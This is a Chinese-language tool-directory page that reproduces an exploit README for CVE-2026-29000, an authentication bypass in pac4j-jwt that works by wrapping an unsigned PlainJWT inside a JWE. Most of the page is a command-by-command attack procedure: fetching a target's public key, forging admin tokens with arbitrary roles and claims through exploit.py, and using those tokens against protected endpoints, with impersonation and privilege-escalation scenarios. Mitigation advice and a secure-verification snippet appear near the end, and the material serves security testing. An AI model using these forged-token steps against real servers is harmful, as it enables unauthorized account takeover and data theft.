Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-29000 — CVE-2026-29000 的漏洞利用程序,该漏洞是 pac4j-jwt 中通过 JWE 包装的 PlainJWT 实现的 JWT 身份验证绕过,允许令牌伪造和权限提升。 | Kitploit
工具/GitHubGitHub/rootx111/cve-2026-29000
身份验证与授权漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubrootx111/cve-2026-29000

cve-2026-29000

CVE-2026-29000 的漏洞利用程序,该漏洞是 pac4j-jwt 中通过 JWE 包装的 PlainJWT 实现的 JWT 身份验证绕过,允许令牌伪造和权限提升。

查看仓库
215个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-29000 漏洞利用

通过 JWE 包装的 PlainJWT 绕过 pac4j-jwt 中的 JWT 身份验证

漏洞描述

CVE-2026-29000 是一个严重的安全绕过漏洞,影响 pac4j-jwt 4.5.9、5.7.9 和 6.3.3 之前的版本。该漏洞允许远程攻击者伪造身份验证令牌并绕过签名验证。

技术细节

该漏洞存在于处理加密 JWT(JWE)时的 JwtAuthenticator 组件中。当收到 JWE 令牌时:

  1. 服务器使用其 RSA 私钥解密 JWE
  2. 解密后的内容显示一个内部 JWT
  3. 漏洞:服务器提取内部 JWT 中的声明,但未验证其签名
  4. 攻击者可以构造一个包装了具有任意声明的 PlainJWT(算法:"none")的 JWE

攻击条件

  • 能够访问服务器的 RSA 公钥(通常通过 JWKS 端点暴露)
  • 能够向易受攻击的应用程序发送构造的令牌

影响

  • 完全绕过身份验证:攻击者可以以任何用户身份进行身份验证
  • 权限提升:可以分配任意角色,包括管理员角色
  • 会话劫持:可以在没有凭据的情况下冒充合法用户

受影响版本

  • pac4j-jwt < 4.5.9
  • pac4j-jwt < 5.7.9
  • pac4j-jwt < 6.3.3

仓库内容

  • exploit.py - 用于生成恶意令牌的 Python 漏洞利用脚本
  • vulnerable_server.py - 模拟该漏洞的演示服务器
  • requirements.txt - Python 依赖项
  • README.md - 本文件

安装

前提条件

  • Python 3.8 或更高版本
  • pip 包管理器

设置

root@kitploit:~
# 克隆仓库
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000

# 安装依赖项
pip3 install -r requirements.txt

使用方法

步骤 1:启动易受攻击的测试服务器

root@kitploit:~
python3 vulnerable_server.py

服务器将:

  • 生成 RSA 密钥对(保存到 server_private.pem 和 server_public.pem)
  • 在 http://127.0.0.1:5000 上启动
  • 在 http://127.0.0.1:5000/public-key 暴露公钥

步骤 2:获取目标的公钥

在真实攻击场景中,从目标服务器获取公钥:

root@kitploit:~
# 从 JWKS 端点下载公钥
curl http://target-server.com/jwks > target_jwks.json

# 或直接使用公钥端点
curl http://target-server.com/public-key > target_public.pem

对于测试服务器:

root@kitploit:~
curl http://127.0.0.1:5000/public-key > server_public.pem

步骤 3:生成恶意令牌

使用漏洞利用脚本创建 JWE 包装的 PlainJWT:

root@kitploit:~
# 基本用法 - 以管理员身份进行身份验证
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem

# 以具有多个角色的特定用户身份进行身份验证
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem

# 添加自定义声明
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","department":"IT"}'

# 将令牌保存到文件
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --output malicious_token.txt

步骤 4:测试攻击

针对易受攻击的服务器进行测试

root@kitploit:~
# 设置恶意令牌(从 exploit.py 输出中复制)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."

# 访问公共端点(应正常工作)
curl http://127.0.0.1:5000/api/public

# 使用恶意令牌访问用户端点(绕过!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# 使用恶意令牌访问管理员端点(权限提升!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

管理员端点的预期成功输出:

root@kitploit:~
{
  "status": "success",
  "message": "Admin endpoint accessed - RESTRICTED DATA",
  "user": "admin",
  "roles": ["ROLE_ADMIN"],
  "secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
  "admin_info": "This is sensitive administrative data"
}

完整攻击流程

完整测试命令

root@kitploit:~
# 1. 安装依赖项
pip3 install -r requirements.txt

# 2. 启动易受攻击的服务器(在终端 1 中)
python3 vulnerable_server.py

# 3. 在新终端中,获取公钥
curl http://127.0.0.1:5000/public-key > server_public.pem

# 4. 生成恶意管理员令牌
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt

# 5. 将令牌提取到变量中
TOKEN=$(cat token.txt)

# 6. 测试公共端点(基线 - 无需身份验证)
curl http://127.0.0.1:5000/api/public

# 7. 测试用户端点(应使用我们的恶意令牌成功)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# 8. 测试管理员端点(漏洞利用成功 - 应访问受限数据)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

# 9. 验证响应中包含标志
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'

高级攻击场景

场景 1:冒充特定用户

root@kitploit:~
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem

场景 2:提升为管理员

root@kitploit:~
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem

场景 3:自定义声明注入

root@kitploit:~
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'

漏洞利用脚本选项

root@kitploit:~
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
                  [--claims CLAIMS] [--generate-keypair] [--output OUTPUT]

CVE-2026-29000: 生成恶意的 JWE 包装 PlainJWT 令牌

options:
  -h, --help            显示此帮助消息并退出
  --subject SUBJECT, -s SUBJECT
                        要冒充的主题(用户名)
  --roles ROLES, -r ROLES
                        逗号分隔的角色列表(例如,ROLE_ADMIN,ROLE_USER)
  --public-key PUBLIC_KEY, -k PUBLIC_KEY
                        RSA 公钥 PEM 文件的路径
  --claims CLAIMS, -c CLAIMS
                        作为 JSON 字符串的附加声明
  --generate-keypair, -g
                        生成测试 RSA 密钥对并保存到文件
  --output OUTPUT, -o OUTPUT
                        生成的令牌的输出文件

漏洞工作原理

正常 JWT 流程(安全)

root@kitploit:~
1. 客户端发送带有签名的 JWT
2. 服务器使用公钥验证签名
3. 如果有效,提取声明
4. 根据声明授予访问权限

易受攻击的流程(CVE-2026-29000)

root@kitploit:~
1. 攻击者获取服务器的 RSA 公钥
2. 攻击者创建具有任意声明的 PlainJWT(alg: none)
   示例:{"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. 攻击者使用服务器的公钥通过 JWE 加密 PlainJWT
4. 服务器成功解密 JWE
5. 服务器提取内部 PlainJWT 中的声明,但未进行签名验证
6. 服务器根据伪造的声明授予访问权限

为何有效

该漏洞之所以存在,是因为:

  • JWE 提供机密性,但不为内部内容提供完整性
  • 服务器假设解密成功即意味着真实性
  • PlainJWT(alg: none)没有需要验证的签名
  • 声明仅因其被加密而被信任

缓解措施

对于开发人员

  1. 将 pac4j-jwt 更新到 4.5.9、5.7.9、6.3.3 或更高版本
  2. 始终验证签名:在 JWE 解密后验证内部 JWT 的签名
  3. 拒绝 PlainJWT 令牌(算法:"none")
  4. 验证算法:对照允许列表验证 JWT 头中的算法

对于系统管理员

  1. 立即更新易受攻击的应用程序
  2. 审计身份验证日志以查找可疑活动
  3. 审查用户会话并撤销可疑令牌
  4. 考虑实施额外的身份验证层

安全实现

root@kitploit:~
def verify_jwe_token_secure(token, private_key):
    # 1. 解密 JWE
    inner_jwt = decrypt_jwe(token, private_key)

    # 2. 解析内部 JWT 头
    header = parse_jwt_header(inner_jwt)

    # 3. 关键:验证算法不是 "none"
    if header.get('alg') == 'none':
        raise SecurityError("PlainJWT not allowed")

    # 4. 关键:验证内部 JWT 的签名
    if not verify_jwt_signature(inner_jwt, public_key):
        raise SecurityError("Invalid JWT signature")

    # 5. 仅在验证后提取声明
    return extract_claims(inner_jwt)

测试清单

  • 安装依赖项:pip3 install -r requirements.txt
  • 启动易受攻击的服务器:python3 vulnerable_server.py
  • 获取公钥:curl http://127.0.0.1:5000/public-key > server_public.pem
  • 生成恶意令牌:python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
  • 测试公共端点:curl http://127.0.0.1:5000/api/public
  • 使用令牌测试用户端点:curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
  • 使用令牌测试管理员端点:curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

快速入门指南

root@kitploit:~
# 一行设置和测试
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

参考资料

  • CVE-2026-29000 公告
  • pac4j 安全公告
  • OWASP JWT 安全速查表
  • RFC 7519(JSON Web Token)
  • RFC 7516(JSON Web Encryption)

免责声明

此工具仅用于教育和授权的安全测试目的。未经授权访问计算机系统是违法的。仅对您拥有或获得明确测试许可的系统使用此工具。

许可证

MIT 许可证 - 仅用于教育目的

作者

安全研究员 日期:2026-03-16

下载工具
  • 验证是否获取标志:查找 FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}